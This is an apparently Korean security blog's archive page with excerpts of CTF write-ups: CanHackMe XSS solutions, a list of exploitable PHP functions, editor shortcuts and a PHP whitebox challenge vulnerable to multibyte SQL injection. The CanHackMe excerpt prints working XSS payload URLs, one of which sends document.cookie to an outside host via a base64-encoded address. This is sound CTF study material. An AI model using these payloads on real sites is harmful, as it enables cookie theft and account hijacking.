3rd TenDollar CTF Write up
Summary 대회명: Tendollor CTF 일정: 24 Nov, 09:00 ~ 25 Nov, 15:00 KST 대회는 개인전이었고 지인을 통해 초대 코드를 받아야 참가할 수 있다. 스코어보드는…
Read MoreMonth: November 2018
CanHackMe uppercase, redirect, redirect2 Solutions
uppercase https://uppercase.canhack.me/?text=%3Cimg%20src=%23%20%20onerror=`script//`;%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B%3E redirect https://redirect.canhack.me/?url=`;alert(1)</script></noscript>/*""%2525%"%2522"%@<script>` redirect2 https://redirect2.canhack.me/?url=%0acontent-type:%20text/html%0a%0a`%27%20%3E%3Cimg%20src=%22%22onerror=%27alert(1)%2b` https://redirect2.canhack.me/?url=%0acontent-type:%20text/html%0a%0a`%27%20%3E%3Cimg%20src=%22%22onerror=%27location.replace(atob(`aHR0cDovL3dpdGhwaHAuY29tOjgwODAvPw==`)%2bdocument.cookie)%2b`
Read More
Categories
Web hacking
Exploitable PHP functions
Command Execution exec - Returns last line of commands output passthru - Passes commands output directly to the browser system - Passes commands output…
Read More
Categories
Tips
서브라임 텍스트 단축키 정리
출처: https://jeonghakhur.gitbooks.io/sublime-text3/content/shortcut-key.html Editing 단어 편집 단축키 Ctrl+D 커서가 위치한 단어를 선택하고, 동일한 단어를 순차적으로 연속해서 선택(다중편집 모드) Ctrl+K 선택된 단어를 선택해제(다중편집 모드) Alt+F3 선택된…
Read More교내대회 Old school whitebox
<?php error_reporting(0); require_once 'config.php'; if(isset($_GET['username'], $_GET['password'])) { $username = addslashes($_GET['username']); $password = password($_GET['password']); $username = mb_convert_encoding($username ,'utf-8','euc-kr'); if(preg_match('/union.*select/i', $username)) { die('<h3>(つﾟ⊿ﾟ)つ Hey Nope!</h3>'); }…
Read More